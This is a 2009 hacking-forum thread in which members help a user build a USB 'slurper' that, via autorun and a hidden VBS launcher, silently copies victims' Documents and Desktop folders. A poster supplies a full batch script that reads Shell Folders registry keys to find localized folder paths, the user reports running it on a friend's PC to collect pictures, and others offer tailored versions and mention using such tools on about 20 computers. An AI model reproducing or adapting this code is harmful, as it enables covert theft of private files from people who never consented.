myronhinio Posted February 25, 2009 Share Posted February 25, 2009 i ve made a command and it works for my netbook which has english os . My main computers first language is greek and instead of "my documents" is "Τα έγγραφά μου" what can i do?if i just replace the command it doesnt work english code works @echo off mkdir %~d0\%computername% xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h xcopy "C:\Documents and Settings\%username%\Desktop" %~d0\%computername% /s/c/q/r/h @cls @exit greek code doesnt work <_< @echo off mkdir %~d0\%computername% xcopy "C:\Documents and Settings\%username%\Τα έγγραφά μου" %~d0\%computername% /s/c/q/r/h xcopy "C:\Documents and Settings\%username%\Επιφάνεια εργασίας" %~d0\%computername% /s/c/q/r/h @cls @exit thx in advance and sorry if already posted i could nt find sth similar! Quote Link to comment Share on other sites More sharing options...
DMilton Posted February 25, 2009 Share Posted February 25, 2009 Try my Reliable Paths Method that is published in the wiki. I think it'll solve your problem. Let us know it! Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 25, 2009 Share Posted February 25, 2009 does this not work? There is a full payload there, including the iso... http://hak5.org/forums/index.php?s=&sh...st&p=119900 Quote Link to comment Share on other sites More sharing options...
myronhinio Posted February 25, 2009 Author Share Posted February 25, 2009 basically i tried to understand all that stuff but it seems quite strange to me. what i ve done is pretty much traditional,simple and straight forward to me !so here what ive done;i ve put an autorun an invis.vbs and 2 bat files. first bat is wscript.exe "%~d0\invis.vbs" "drivers.bat" and the second @echo off mkdir %~d0\%computername% xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h xcopy "C:\Documents and Settings\%username%\Desktop" %~d0\%computername% /s/c/q/r/h @cls @exit so what u sent to me will probably solve my problem but the thing is that i dont know how and where to put the code.i am pretty much interested in getting .jpeg,word files etc. and ie history.or just copying "my documents and desktop.(no prob since i got a 32 gb stick)so i dont think switch blade is the one for me. thx for anwsering hope this things dont sound too stupid to you:) Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted February 25, 2009 Share Posted February 25, 2009 ls wrote an awesome script. Best thing for you to do would be to modify his python code to include the wanted files. So far i have used slurper on maybe 20 or so computers without incident. Quote Link to comment Share on other sites More sharing options...
DMilton Posted February 26, 2009 Share Posted February 26, 2009 basically i tried to understand all that stuff but it seems quite strange to me. what i ve done is pretty much traditional,simple and straight forward to me !so here what ive done;i ve put an autorun an invis.vbs and 2 bat files. first bat is wscript.exe "%~d0\invis.vbs" "drivers.bat" and the second @echo off mkdir %~d0\%computername% xcopy "C:\Documents and Settings\%username%\My Documents" %~d0\%computername% /s/c/q/r/h xcopy "C:\Documents and Settings\%username%\Desktop" %~d0\%computername% /s/c/q/r/h @cls @exit so what u sent to me will probably solve my problem but the thing is that i dont know how and where to put the code.i am pretty much interested in getting .jpeg,word files etc. and ie history.or just copying "my documents and desktop.(no prob since i got a 32 gb stick)so i dont think switch blade is the one for me. thx for anwsering hope this things dont sound too stupid to you:) The problem you have is the language, if you want to do it with a defined path (Desktop is not same folder in greek than in english), it will surely fail. With Dingleberries method, you can easily modify the python script to slurp the desired files of "My PC". I prepared an slurping batch to do the exact thing you want, just substitute the second batch you have with this one: @echo off set ActualUser=".\CurrVer.dat" set TmpVal=".\tmpval.dat" set Common=".\Common.dat" set /A ValCounter=1 if exist %ActualUser% del /S /F /Q /A:- %ActualUser% if exist %Common% del /S /F /Q /A:- %Common% if exist %TmpVal% del /s /F /Q /A:- %TmpVal% REG EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %Common% REG EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %ActualUser% if not %errorlevel%==0 goto error type %ActualUser% | find "Personal" >> %TmpVal% type %ActualUser% | find "Desktop" >> %TmpVal% type %Common% | find "Common Documents">> %TmpVal% type %Common% | find "Common Desktop">> %TmpVal% FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO set var="%%i" if "%var%"=="" goto error FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO ( call:FOUND %%i ) del /S /F /Q /A:- %ActualUser% del /S /F /Q /A:- %Common% del /S /F /Q /A:- %TmpVal% goto :CONTINUE :FOUND SET PP="%~1" SET PP=%PP:\\=\% SET PP=%PP:"=% SET RegKey=%PP% IF %ValCounter%==1 SET MyD=%RegKey% IF %ValCounter%==2 SET Dsk=%RegKey% IF %ValCounter%==3 SET ShDoc=%RegKey% IF %ValCounter%==4 SET ShDsk=%RegKey% set /A ValCounter=ValCounter+1 :error GOTO :EOF :CONTINUE :: Here I added the actions you want to do mkdir %~d0\%computername% xcopy "C:\Documents and Settings\%username%\%MyD%" %~d0\%computername% /s/c/q/r/h xcopy "C:\Documents and Settings\%username%\%Dsk%" %~d0\%computername% /s/c/q/r/h :: Here I added similar slurping actions to do the same with Shared Documents and Shared Desktop (no worry what language you have) xcopy "C:\Documents and Settings\%username%\%ShDoc%" %~d0\%computername% /s/c/q/r/h xcopy "C:\Documents and Settings\%username%\%ShDsk%" %~d0\%computername% /s/c/q/r/h @cls @exit Tell us if worked DingleBerries method or mine. Quote Link to comment Share on other sites More sharing options...
myronhinio Posted February 26, 2009 Author Share Posted February 26, 2009 dmilton sorry but it didnt work both in the english and greek computer:(thanks anyway! and dingle i dont know how to modify the exe file that u are saying:((Noobie) Quote Link to comment Share on other sites More sharing options...
DMilton Posted February 27, 2009 Share Posted February 27, 2009 dmilton sorry but it didnt work both in the english and greek computer:(thanks anyway! and dingle i dont know how to modify the exe file that u are saying:((Noobie) Fixed, it works. Try this. echo off set ActualUser=".\CurrVer.dat" set TmpVal=".\tmpval.dat" set Common=".\Common.dat" set /A ValCounter=1 if exist %ActualUser% del /S /F /Q /A:- %ActualUser% if exist %Common% del /S /F /Q /A:- %Common% if exist %TmpVal% del /s /F /Q /A:- %TmpVal% REG EXPORT "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %Common% REG EXPORT "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" %ActualUser% if not %errorlevel%==0 goto error type %ActualUser% | find "Personal" >> %TmpVal% type %ActualUser% | find "Desktop" >> %TmpVal% type %Common% | find "Common Documents">> %TmpVal% type %Common% | find "Common Desktop">> %TmpVal% FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO set var="%%i" if "%var%"=="" goto error FOR /F "tokens=2* delims==" %%i IN (.\tmpval.dat) DO ( call:FOUND %%i ) del /S /F /Q /A:- %ActualUser% del /S /F /Q /A:- %Common% del /S /F /Q /A:- %TmpVal% goto :CONTINUE :FOUND SET PP="%~1" SET PP=%PP:\\=\% SET PP=%PP:"=% SET RegKey=%PP% IF %ValCounter%==1 SET MyD=%RegKey% IF %ValCounter%==2 SET Dsk=%RegKey% IF %ValCounter%==3 SET ShDoc=%RegKey% IF %ValCounter%==4 SET ShDsk=%RegKey% set /A ValCounter=ValCounter+1 :error GOTO :EOF :CONTINUE :: Here I added the actions you want to do mkdir %~d0\%computername%\MyDocs mkdir %~d0\%computername%\Desktop mkdir %~d0\%computername%\SharedDocs mkdir %~d0\%computername%\SharedDesktop xcopy "%MyD%" %~d0\%computername%\MyDocs /s/c/q/r/h xcopy "%Dsk%" %~d0\%computername%\Desktop /s/c/q/r/h :: Here I added similar slurping actions to do the same with Shared Documents and Shared Desktop (no worry what language you have) xcopy "%ShDoc%" %~d0\%computername%\SharedDocs /s/c/q/r/h xcopy "%ShDsk%" %~d0\%computername%\SharedDesktop /s/c/q/r/h exit Quote Link to comment Share on other sites More sharing options...
myronhinio Posted February 27, 2009 Author Share Posted February 27, 2009 dmilton you are an ace!!!!worked! i let u know if need sth more specific!:)thnks a lot! Quote Link to comment Share on other sites More sharing options...
myronhinio Posted March 2, 2009 Author Share Posted March 2, 2009 :) alright i tried it to my friends pc(windows vista)the other day i got the some pictures but not all of them.ie i didnt get any pic from the folder "my pictures".AND i tried it again to my windows xp and didnt work.:F is there any way search for pics of certain size:) thanks in advance again Quote Link to comment Share on other sites More sharing options...
DingleBerries Posted March 2, 2009 Share Posted March 2, 2009 :) alright i tried it to my friends pc(windows vista)the other day i got the some pictures but not all of them.ie i didnt get any pic from the folder "my pictures".AND i tried it again to my windows xp and didnt work.:F is there any way search for pics of certain size:) thanks in advance again What is the file extension you need? I can make it for you. PM me. Quote Link to comment Share on other sites More sharing options...
DMilton Posted March 2, 2009 Share Posted March 2, 2009 :) alright i tried it to my friends pc(windows vista)the other day i got the some pictures but not all of them.ie i didnt get any pic from the folder "my pictures".AND i tried it again to my windows xp and didnt work.:F is there any way search for pics of certain size:) thanks in advance again I haven't a Windows Vista installation for testing why it doesn't work with Vista, probabily is because the reg keys are not the same with Vista (someone can clarify this?). But for Windows XP must be working... You can adapt the script as far as you want, but, by the momment, I haven't so much time to do it for you. :( Quote Link to comment Share on other sites More sharing options...
myronhinio Posted March 2, 2009 Author Share Posted March 2, 2009 No worries,u ve done enought already!thank you.i sent a pm to dingleberries:) Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.